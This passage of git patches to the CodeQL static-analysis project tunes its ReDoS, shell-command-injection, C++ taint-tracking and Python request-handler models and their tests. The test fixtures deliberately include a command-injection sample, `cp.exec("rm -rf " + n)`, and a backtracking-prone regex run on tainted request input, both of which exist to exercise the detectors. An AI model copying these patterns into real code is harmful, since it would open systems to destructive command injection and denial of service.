isLikelyRejectable(next)) ) } + /** + * Gets a char for there exists a transition away from `s`, + * and `s` has not been found to be rejectable by `hasRejectEdge` or `isRejectState`. + */ + pragma[noinline] + private string hasEdgeToLikelyRejectableHelper(StateInPumpableRegexp s) { + not hasRejectEdge(s) and + not isRejectState(s) and + deltaClosedChar(s, result, _) + } + /** * Holds if there is a state `next` that can be reached from `prev` * along epsilon edges, such that there is a transition from @@ -900,37 +918,76 @@ private module SuffixConstruction { */ pragma[noinline] private string relevant(RegExpRoot root) { - result = ["a", "9", "|", "\n", " "] + result = ["a", "9", "|", "\n", " ", "|", "\n", "Z"] // must include all the strings from `hasSimpleRejectEdge`. or exists(InputSymbol s | belongsTo(s, root) | result = intersect(s, _)) } /** - * Holds if there is no edge from `s` labeled `char` in our NFA. + * Holds if there exists a `char` such that there is no edge from `s` labeled `char` in our NFA. * The NFA does not model reject states, so the above is the same as saying there is a reject edge. */ private predicate hasRejectEdge(State s) { + hasSimpleRejectEdge(s) + or + not hasSimpleRejectEdge(s) and exists(string char | char = relevant(getRoot(s.getRepr())) | not deltaClosedChar(s, char, _)) } + /** + * Holds if there is not edge from `s` labeled with "|", "\n", or "Z" in our NFA. + * This predicate is used as a cheap pre-processing to speed up `hasRejectEdge`. + */ + private predicate hasSimpleRejectEdge(State s) { + // The three chars were chosen arbitrarily. + exists(string char | char = ["|", "\n", "Z"] | not deltaClosedChar(s, char, _)) + } + /** * Gets a state that can be reached from pumpable `fork` consuming all * chars in `w` any number of times followed by the first `i+1` characters of `w`. */ + pragma[noopt] private State process(State fork, string w, int i) { + exists(State prev | prev = getProcessPrevious(fork, i, w) | + exists(string char, InputSymbol sym | + char = w.charAt(i) and + deltaClosed(prev, sym, result) and + sym = getAProcessInputSymbol(char) + ) + ) + } + + /** + * Gets a state that can be reached from pumpable `fork` consuming all + * chars in `w` any number of times followed by the first `i` characters of `w`. + */ + private State getProcessPrevious(State fork, int i, string w) { isReDoSCandidate(fork, w) and - exists(State prev | - i = 0 and prev = fork + ( + i = 0 and result = fork or - prev = process(fork, w, i - 1) + result = process(fork, w, i - 1) or // repeat until fixpoint i = 0 and - prev = process(fork, w, w.length() - 1) - | - deltaClosed(prev, getAnInputSymbolMatching(w.charAt(i)), result) + result = process(fork, w, w.length() - 1) ) } + + /** + * Gets an InputSymbol that matches `char`. + * The predicate is specialized to only have a result for the `char`s that are relevant for the `process` predicate. + */ + private InputSymbol getAProcessInputSymbol(string char) { + char = getAProcessChar() and + result = getAnInputSymbolMatching(char) + } + + /** + * Gets a `char` that occurs in a `pump` string. + */ + private string getAProcessChar() { result = any(string s | isReDoSCandidate(_, s)).charAt(_) } } /** diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index 96ed841bb84..d6870bec31e 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -76,6 +76,7 @@ | polynomial-redos.js:112:17:112:19 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s+$ | | polynomial-redos.js:114:22:114:24 | \\w* | Strings starting with '5' and with many repetitions of '5' can start matching anywhere after the start of the preceeding \\d* | | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | Strings starting with '/*' and with many repetitions of 'a/*' can start matching anywhere after the start of the preceeding \\/\\*[\\d\\D]*?\\*\\/ | +| polynomial-redos.js:118:17:118:23 | (#\\d+)+ | Strings with many repetitions of '9' can start matching anywhere after the start of the preceeding \\d+ | | regexplib/address.js:27:3:27:5 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{4}\\)?(\\s*\|-)\\d{3}(\\s*\|-)\\d{3}\\s*) | | regexplib/address.js:27:48:27:50 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{3}\\)?(\\s*\|-)\\d{3}(\\s*\|-)\\d{4}\\s*) | | regexplib/address.js:27:93:27:95 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*(7\|8)(\\d{7}\|\\d{3}(\\-\|\\s{1})\\d{4})\\s*) | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected index 9d30489ee27..70e4720bcfe 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected @@ -132,6 +132,8 @@ nodes | polynomial-redos.js:114:2:114:8 | tainted | | polynomial-redos.js:116:2:116:8 | tainted | | polynomial-redos.js:116:2:116:8 | tainted | +| polynomial-redos.js:118:2:118:8 | tainted | +| polynomial-redos.js:118:2:118:8 | tainted | edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:7:2:7:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:7:2:7:8 | tainted | @@ -257,6 +259,8 @@ edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:114:2:114:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:116:2:116:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:116:2:116:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:118:2:118:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:118:2:118:8 | tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:5:6:5:32 | tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:5:6:5:32 | tainted | | polynomial-redos.js:68:18:68:24 | req.url | polynomial-redos.js:68:18:68:24 | req.url | @@ -335,3 +339,4 @@ edges | polynomial-redos.js:112:2:112:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:112:2:112:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:112:17:112:19 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:114:2:114:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:114:2:114:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:114:22:114:24 | \\w* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:116:2:116:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:116:2:116:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:118:2:118:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:118:2:118:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js index fd113d56bb5..f474b7c3869 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js @@ -114,4 +114,6 @@ app.use(function(req, res) { tainted.match(/^\d*5\w*$/); // NOT OK tainted.match(/\/\*[\d\D]*?\*\//g); // NOT OK + + tainted.match(/(#\d+)+/); // OK - but still flagged due to insufficient suffix-checking. }); From ee0257836ffa464c098860a2756551f4c57d0a77 Mon Sep 17 00:00:00 2001 From: Neal Caffery <bing.ecnu@gmail.com> Date: Mon, 21 Dec 2020 19:05:37 +0800 Subject: [PATCH 0334/1241] removed, as it fixed by #4848 --- .../codeql-language-guides/analyzing-data-flow-in-csharp.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst index bb8de1edf47..88a6d231dc9 100644 --- a/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst @@ -439,7 +439,7 @@ Exercise 2 Configuration() { this="String to System.Uri" } override predicate isSource(DataFlow::Node src) { - src.asExpr().(Expr).hasValue() + src.asExpr().hasValue() } override predicate isSink(DataFlow::Node sink) { From 66b85f1e5e10f606db129d8e20376e9f7207efe0 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Mon, 21 Dec 2020 11:29:02 +0000 Subject: [PATCH 0335/1241] Fix typo --- docs/codeql/query-help/java.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/codeql/query-help/java.rst b/docs/codeql/query-help/java.rst index cf370538999..8af2ee52890 100644 --- a/docs/codeql/query-help/java.rst +++ b/docs/codeql/query-help/java.rst @@ -1,8 +1,8 @@ -CodeQL query help for Java query -================================ +CodeQL query help for Java +========================== .. include:: ../reusables/query-help-overview.rst For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository <https://github.com/github/codeql/tree/main/java/ql/examples>`__. -.. include:: toc-java.rst \ No newline at end of file +.. include:: toc-java.rst From e3ec67d5e3ab3f2ffc17dab6e07732d51b3e475d Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Mon, 21 Dec 2020 12:53:41 +0100 Subject: [PATCH 0336/1241] avoid materializing isFeasibleTuple --- .../javascript/security/performance/SuperlinearBackTracking.qll | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll index d37d24086cc..9f4034b3217 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll @@ -106,6 +106,7 @@ private module FeasibleTuple { /** * Holds if the tuple `(r1, r2, r3)` might be on path from a start-state to an end-state in the product automaton. */ + pragma[inline] predicate isFeasibleTuple(State r1, State r2, State r3) { // The first element is either inside a repetition (or the start state itself) isRepeitionOrStart(r1) and From 4ef569fbbe9ef6fda6c5fcae73736fc0c9781043 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Mon, 21 Dec 2020 13:50:22 +0100 Subject: [PATCH 0337/1241] recognize more exported functions in js/shell-command-constructed-from-input --- .../dataflow/UnsafeShellCommandConstructionCustomizations.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index af982ae30cb..b3a26a02dc1 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -53,7 +53,7 @@ module UnsafeShellCommandConstruction { ExternalInputSource() { this = Exports::getAValueExportedBy(Exports::getTopmostPackageJSON()) - .(DataFlow::FunctionNode) + .getAFunctionValue() .getAParameter() and not this.getName() = ["cmd", "command"] // looks to be on purpose. } From 876ba7ef2d19a21eb1591a280a2c54e3f0f40b98 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Mon, 21 Dec 2020 14:16:55 +0100 Subject: [PATCH 0338/1241] add typeof sanitizer to js/shell-command-constructed-from-input --- ...ShellCommandConstructionCustomizations.qll | 21 +++++++++++++++++++ .../query-tests/Security/CWE-078/lib/lib.js | 6 ++++++ 2 files changed, 27 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index af982ae30cb..9347c594d27 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -189,4 +189,25 @@ module UnsafeShellCommandConstruction { ) } } + + /** + * A check of the form `type x === "X"`, where x is "number", or "boolean", + * which sanitized `x` in its "then" branch. + */ + class TypeOfSanitizer extends TaintTracking::SanitizerGuardNode, DataFlow::ValueNode { + Expr x; + override EqualityTest astNode; + + TypeOfSanitizer() { + exists(StringLiteral str, TypeofExpr typeof | astNode.hasOperands(str, typeof) | + str.getValue() = ["number", "boolean"] and // "undefined" is already handled in TaintTracking.qll + typeof.getOperand() = x + ) + } + + override predicate sanitizes(boolean outcome, Expr e) { + outcome = astNode.getPolarity() and + e = x + } + } } diff --git a/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js b/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js index 83dfcca22af..2a7233b7dfa 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js @@ -339,3 +339,9 @@ module.exports.unproblematic = function() { module.exports.problematic = function(n) { cp.exec("rm -rf " + id(n)); // NOT OK }; + +module.exports.typeofNumber = function(n) { + if (typeof n === "number") { + cp.exec("rm -rf " + n); // OK + } +}; From a9bbe1d0879e5fcee1e06af6f4809b464e48f026 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 21 Dec 2020 15:59:45 +0100 Subject: [PATCH 0339/1241] Python: Test Django un-routed class-based route handler --- .../library-tests/frameworks/django-v2-v3/routing_test.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index 5fea4ccc046..4564ebd0aa9 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -107,3 +107,11 @@ def deprecated(request): # $routeHandler urlpatterns = [ url(r"^deprecated/", deprecated), # $routeSetup="^deprecated/" ] + + +class PossiblyNotRouted(View): + # Even if our analysis can't find a route-setup for this class, we should still + # consider it to be a handle incoming HTTP requests + + def get(self, request, possibly_not_routed=42): # $ MISSING: routeHandler routedParameter=possibly_not_routed + return HttpResponse('PossiblyNotRouted get: {}'.format(possibly_not_routed)) # $HttpResponse From 0e84c638b67e4b894ad32fdabd86f8c897c4cd53 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Mon, 21 Dec 2020 16:34:22 +0100 Subject: [PATCH 0340/1241] C++: Add isSource to AdjustedConfiguration --- .../cpp/ir/dataflow/DefaultTaintTracking.qll | 52 +++++++++++-------- 1 file changed, 31 insertions(+), 21 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll index 2159cbb25b7..5c6409ced9f 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll @@ -46,21 +46,23 @@ predicate predictableOnlyFlow(string name) { private DataFlow::Node getNodeForSource(Expr source) { isUserInput(source, _) and - ( - result = DataFlow::exprNode(source) - or - // Some of the sources in `isUserInput` are intended to match the value of - // an expression, while others (those modeled below) are intended to match - // the taint that propagates out of an argument, like the `char *` argument - // to `gets`. It's impossible here to tell which is which, but the "access - // to argv" source is definitely not intended to match an output argument, - // and it causes false positives if we let it. - // - // This case goes together with the similar (but not identical) rule in - // `nodeIsBarrierIn`. - result = DataFlow::definitionByReferenceNodeFromArgument(source) and - not argv(source.(VariableAccess).getTarget()) - ) + result = getNodeForExpr(source) +} + +private DataFlow::Node getNodeForExpr(Expr node) { + result = DataFlow::exprNode(node) + or + // Some of the sources in `isUserInput` are intended to match the value of + // an expression, while others (those modeled below) are intended to match + // the taint that propagates out of an argument, like the `char *` argument + // to `gets`. It's impossible here to tell which is which, but the "access + // to argv" source is definitely not intended to match an output argument, + // and it causes false positives if we let it. + // + // This case goes together with the similar (but not identical) rule in + // `nodeIsBarrierIn`. + result = DataFlow::definitionByReferenceNodeFromArgument(node) and + not argv(node.(VariableAccess).getTarget()) } private class DefaultTaintTrackingCfg extends DataFlow::Configuration { @@ -537,6 +539,9 @@ module TaintedWithPath { * a characteristic predicate. */ class TaintTrackingConfiguration extends TSingleton { + /** Override this to specify which elements are sources in this configuration. */ + predicate isSource(Expr source) { exists(getNodeForSource(source)) } + /** Override this to specify which elements are sinks in this configuration. */ abstract predicate isSink(Element e); @@ -553,7 +558,11 @@ module TaintedWithPath { private class AdjustedConfiguration extends DataFlow3::Configuration { AdjustedConfiguration() { this = "AdjustedConfiguration" } - override predicate isSource(DataFlow::Node source) { source = getNodeForSource(_) } + override predicate isSource(DataFlow::Node source) { + exists(TaintTrackingConfiguration cfg, Expr e | + cfg.isSource(e) and source = getNodeForExpr(e) + ) + } override predicate isSink(DataFlow::Node sink) { exists(TaintTrackingConfiguration cfg | cfg.isSink(adjustedSink(sink))) @@ -596,7 +605,8 @@ module TaintedWithPath { exists(AdjustedConfiguration cfg, DataFlow3::Node sourceNode, DataFlow3::Node sinkNode | cfg.hasFlow(sourceNode, sinkNode) | - sourceNode = getNodeForSource(e) + sourceNode = getNodeForExpr(e) and + exists(TaintTrackingConfiguration ttCfg | ttCfg.isSource(e)) or e = adjustedSink(sinkNode) and exists(TaintTrackingConfiguration ttCfg | ttCfg.isSink(e)) @@ -650,7 +660,7 @@ module TaintedWithPath { /** A PathNode whose `Element` is a source. It may also be a sink. */ private class InitialPathNode extends EndpointPathNode { - InitialPathNode() { exists(getNodeForSource(this.inner())) } + InitialPathNode() { exists(TaintTrackingConfiguration cfg | cfg.isSource(this.inner())) } } /** A PathNode whose `Element` is a sink. It may also be a source. */ @@ -672,14 +682,14 @@ module TaintedWithPath { // Same for the first node exists(WrapPathNode sourceNode | DataFlow3::PathGraph::edges(sourceNode.inner(), b.(WrapPathNode).inner()) and - sourceNode.inner().getNode() = getNodeForSource(a.(InitialPathNode).inner()) + sourceNode.inner().getNode() = getNodeForExpr(a.(InitialPathNode).inner()) ) or // Finally, handle the case where the path goes directly from a source to a // sink, meaning that they both need to be translated. exists(WrapPathNode sinkNode, WrapPathNode sourceNode | DataFlow3::PathGraph::edges(sourceNode.inner(), sinkNode.inner()) and - sourceNode.inner().getNode() = getNodeForSource(a.(InitialPathNode).inner()) and + sourceNode.inner().getNode() = getNodeForExpr(a.(InitialPathNode).inner()) and b.(FinalPathNode).inner() = adjustedSink(sinkNode.inner().getNode()) ) } @@ -702,7 +712,7 @@ module TaintedWithPath { predicate taintedWithPath(Expr source, Element tainted, PathNode sourceNode, PathNode sinkNode) { exists(AdjustedConfiguration cfg, DataFlow3::Node flowSource, DataFlow3::Node flowSink | source = sourceNode.(InitialPathNode).inner() and - flowSource = getNodeForSource(source) and + flowSource = getNodeForExpr(source) and cfg.hasFlow(flowSource, flowSink) and tainted = adjustedSink(flowSink) and tainted = sinkNode.(FinalPathNode).inner() From f4f96fe2575c7802424bb88194d103045aad6970 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Mon, 21 Dec 2020 16:35:35 +0100 Subject: [PATCH 0341/1241] C++: Use isSource in queries. These were the only queries that restrict the source after dataflow terminates. --- cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql | 2 ++ cpp/ql/src/Security/CWE/CWE-313/CleartextSqliteDatabase.ql | 4 ++++ 2 files changed, 6 insertions(+) diff --git a/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql b/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql index 0e0c4add7f6..24484a9dcaf 100644 --- a/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql +++ b/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql @@ -29,6 +29,8 @@ class QueryString extends EnvironmentRead { } class Configuration extends TaintTrackingConfiguration { + override predicate isSource(Expr source) { source instanceof QueryString } + override predicate isSink(Element tainted) { exists(PrintStdoutCall call | call.getAnArgument() = tainted) } diff --git a/cpp/ql/src/Security/CWE/CWE-313/CleartextSqliteDatabase.ql b/cpp/ql/src/Security/CWE/CWE-313/CleartextSqliteDatabase.ql index 000833cbb58..fb5454d523e 100644 --- a/cpp/ql/src/Security/CWE/CWE-313/CleartextSqliteDatabase.ql +++ b/cpp/ql/src/Security/CWE/CWE-313/CleartextSqliteDatabase.ql @@ -34,6 +34,10 @@ predicate sqlite_encryption_used() { } class Configuration extends TaintTrackingConfiguration { + override predicate isSource(Expr source) { + super.isSource(source) and source instanceof SensitiveExpr + } + override predicate isSink(Element taintedArg) { exists(SqliteFunctionCall sqliteCall | taintedArg = sqliteCall.getASource() and From 004ff38e229774309419a1fe81c7b3cd26095f9e Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 21 Dec 2020 17:20:19 +0100 Subject: [PATCH 0342/1241] Python: Add separate RequestHandler concept Since I really want to use our existing infrastructure to model that we can recognize something as a request handler without it having a route, we need this as a separate concept. All tests have been adjusted. The early modeling was based on flask, where all request-handling is based on handling requests from a specific route. But with the standard library handling and handlers without routes, the naming had to change. --- python/ql/src/semmle/python/Concepts.qll | 55 ++++++++++++++++++- .../src/semmle/python/frameworks/Django.qll | 18 +++--- .../ql/src/semmle/python/frameworks/Flask.qll | 10 ++-- .../frameworks/django-v1/routing_test.py | 20 +++---- .../frameworks/django-v2-v3/routing_test.py | 30 +++++----- .../frameworks/django-v2-v3/taint_test.py | 2 +- .../frameworks/django-v2-v3/testapp/views.py | 14 ++--- .../frameworks/flask/old_test.py | 20 +++---- .../frameworks/flask/response_test.py | 40 +++++++------- .../frameworks/flask/routing_test.py | 8 +-- .../frameworks/flask/taint_test.py | 16 +++--- .../frameworks/stdlib/http_server.py | 4 +- .../test/experimental/meta/ConceptsTest.qll | 17 +++--- 13 files changed, 152 insertions(+), 102 deletions(-) diff --git a/python/ql/src/semmle/python/Concepts.qll b/python/ql/src/semmle/python/Concepts.qll index 9b61d6a6fae..9a30ebf4871 100644 --- a/python/ql/src/semmle/python/Concepts.qll +++ b/python/ql/src/semmle/python/Concepts.qll @@ -314,7 +314,7 @@ module HTTP { string getUrlPattern() { result = range.getUrlPattern() } /** Gets a function that will handle incoming requests for this route, if any. */ - Function getARouteHandler() { result = range.getARouteHandler() } + Function getARequestHandler() { result = range.getARequestHandler() } /** * Gets a parameter that will receive parts of the url when handling incoming @@ -344,7 +344,7 @@ module HTTP { } /** Gets a function that will handle incoming requests for this route, if any. */ - abstract Function getARouteHandler(); + abstract Function getARequestHandler(); /** * Gets a parameter that will receive parts of the url when handling incoming @@ -354,8 +354,57 @@ module HTTP { } } + /** + * A function that will handle incoming HTTP requests. + * + * Extend this class to refine existing API models. If you want to model new APIs, + * extend `RequestHandler::Range` instead. + */ + class RequestHandler extends Function { + RequestHandler::Range range; + + RequestHandler() { this = range } + + /** + * Gets a parameter that could receive parts of the url when handling incoming + * requests, if any. These automatically become a `RemoteFlowSource`. + */ + Parameter getARoutedParameter() { result = range.getARoutedParameter() } + } + + /** Provides a class for modeling new HTTP request handlers. */ + module RequestHandler { + /** + * A function that will handle incoming HTTP requests. + * + * Extend this class to model new APIs. If you want to refine existing API models, + * extend `RequestHandler` instead. + * + * Only extend this class if you can't provide a `RouteSetup`, since we handle that case automatically. + */ + abstract class Range extends Function { + /** + * Gets a parameter that could receive parts of the url when handling incoming + * requests, if any. These automatically become a `RemoteFlowSource`. + */ + abstract Parameter getARoutedParameter(); + } + } + + private class RequestHandlerFromRouteSetup extends RequestHandler::Range { + RouteSetup rs; + + RequestHandlerFromRouteSetup() { this = rs.getARequestHandler() } + + override Parameter getARoutedParameter() { + result = rs.getARoutedParameter() and + result in [this.getArg(_), this.getArgByName(_)] + } + } + + /** A parameter that will receive parts of the url when handling an incoming request. */ private class RoutedParameter extends RemoteFlowSource::Range, DataFlow::ParameterNode { - RoutedParameter() { this.getParameter() = any(RouteSetup setup).getARoutedParameter() } + RoutedParameter() { this.getParameter() = any(RequestHandler setup).getARoutedParameter() } override string getSourceType() { result = "RoutedParameter" } } diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index c3c23f3f5df..f4cbe3d9ea5 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1676,7 +1676,7 @@ private module Django { DjangoViewClassDef() { this.getABase() = django::views::generic::View::subclassRef().asExpr() } /** Gets a function that could handle incoming requests, if any. */ - DjangoRouteHandler getARouteHandler() { + DjangoRouteHandler getARequestHandler() { // TODO: This doesn't handle attribute assignment. Should be OK, but analysis is not as complete as with // points-to and `.lookup`, which would handle `post = my_post_handler` inside class def result = this.getAMethod() and @@ -1725,7 +1725,7 @@ private module Django { DjangoRouteHandler() { exists(djangoRouteHandlerFunctionTracker(this)) or - any(DjangoViewClassDef vc).getARouteHandler() = this + any(DjangoViewClassDef vc).getARequestHandler() = this } /** Gets the index of the request parameter. */ @@ -1746,12 +1746,12 @@ private module Django { /** Gets the data-flow node that is used as the argument for the view handler. */ abstract DataFlow::Node getViewArg(); - final override DjangoRouteHandler getARouteHandler() { + final override DjangoRouteHandler getARequestHandler() { djangoRouteHandlerFunctionTracker(result) = getViewArg() or exists(DjangoViewClassDef vc | getViewArg() = vc.asViewResult() and - result = vc.getARouteHandler() + result = vc.getARequestHandler() ) } } @@ -1787,14 +1787,14 @@ private module Django { // If we don't know the URL pattern, we simply mark all parameters as a routed // parameter. This should give us more RemoteFlowSources but could also lead to // more FPs. If this turns out to be the wrong tradeoff, we can always change our mind. - exists(DjangoRouteHandler routeHandler | routeHandler = this.getARouteHandler() | + exists(DjangoRouteHandler routeHandler | routeHandler = this.getARequestHandler() | not exists(this.getUrlPattern()) and result in [routeHandler.getArg(_), routeHandler.getArgByName(_)] and not result = any(int i | i <= routeHandler.getRequestParamIndex() | routeHandler.getArg(i)) ) or exists(string name | - result = this.getARouteHandler().getArgByName(name) and + result = this.getARequestHandler().getArgByName(name) and exists(string match | match = this.getUrlPattern().regexpFind(pathRoutedParameterRegex(), _, _) and name = match.regexpCapture(pathRoutedParameterRegex(), 2) @@ -1809,14 +1809,14 @@ private module Django { // If we don't know the URL pattern, we simply mark all parameters as a routed // parameter. This should give us more RemoteFlowSources but could also lead to // more FPs. If this turns out to be the wrong tradeoff, we can always change our mind. - exists(DjangoRouteHandler routeHandler | routeHandler = this.getARouteHandler() | + exists(DjangoRouteHandler routeHandler | routeHandler = this.getARequestHandler() | not exists(this.getUrlPattern()) and result in [routeHandler.getArg(_), routeHandler.getArgByName(_)] and not result = any(int i | i <= routeHandler.getRequestParamIndex() | routeHandler.getArg(i)) ) or exists(DjangoRouteHandler routeHandler, DjangoRouteRegex regex | - routeHandler = this.getARouteHandler() and + routeHandler = this.getARequestHandler() and regex.getRouteSetup() = this | // either using named capture groups (passed as keyword arguments) or using @@ -1891,7 +1891,7 @@ private module Django { class DjangoRouteHandlerRequestParam extends django::http::request::HttpRequest::InstanceSource, RemoteFlowSource::Range, DataFlow::ParameterNode { DjangoRouteHandlerRequestParam() { - this.getParameter() = any(DjangoRouteSetup setup).getARouteHandler().getRequestParam() + this.getParameter() = any(DjangoRouteSetup setup).getARequestHandler().getRequestParam() } override string getSourceType() { result = "django.http.request.HttpRequest" } diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index 3a420312be2..fa929e3d02b 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -275,10 +275,10 @@ private module FlaskModel { // parameter. This should give us more RemoteFlowSources but could also lead to // more FPs. If this turns out to be the wrong tradeoff, we can always change our mind. not exists(this.getUrlPattern()) and - result = this.getARouteHandler().getArgByName(_) + result = this.getARequestHandler().getArgByName(_) or exists(string name | - result = this.getARouteHandler().getArgByName(name) and + result = this.getARequestHandler().getArgByName(name) and exists(string match | match = this.getUrlPattern().regexpFind(werkzeug_rule_re(), _, _) and name = match.regexpCapture(werkzeug_rule_re(), 4) @@ -301,7 +301,7 @@ private module FlaskModel { result.asCfgNode() in [node.getArg(0), node.getArgByName("rule")] } - override Function getARouteHandler() { result.getADecorator().getAFlowNode() = node } + override Function getARequestHandler() { result.getADecorator().getAFlowNode() = node } } /** @@ -318,7 +318,7 @@ private module FlaskModel { result.asCfgNode() in [node.getArg(0), node.getArgByName("rule")] } - override Function getARouteHandler() { + override Function getARequestHandler() { exists(DataFlow::Node view_func_arg, DataFlow::Node func_src | view_func_arg.asCfgNode() in [node.getArg(2), node.getArgByName("view_func")] and DataFlow::localFlow(func_src, view_func_arg) and @@ -484,7 +484,7 @@ private module FlaskModel { private class FlaskRouteHandlerReturn extends HTTP::Server::HttpResponse::Range, DataFlow::CfgNode { FlaskRouteHandlerReturn() { 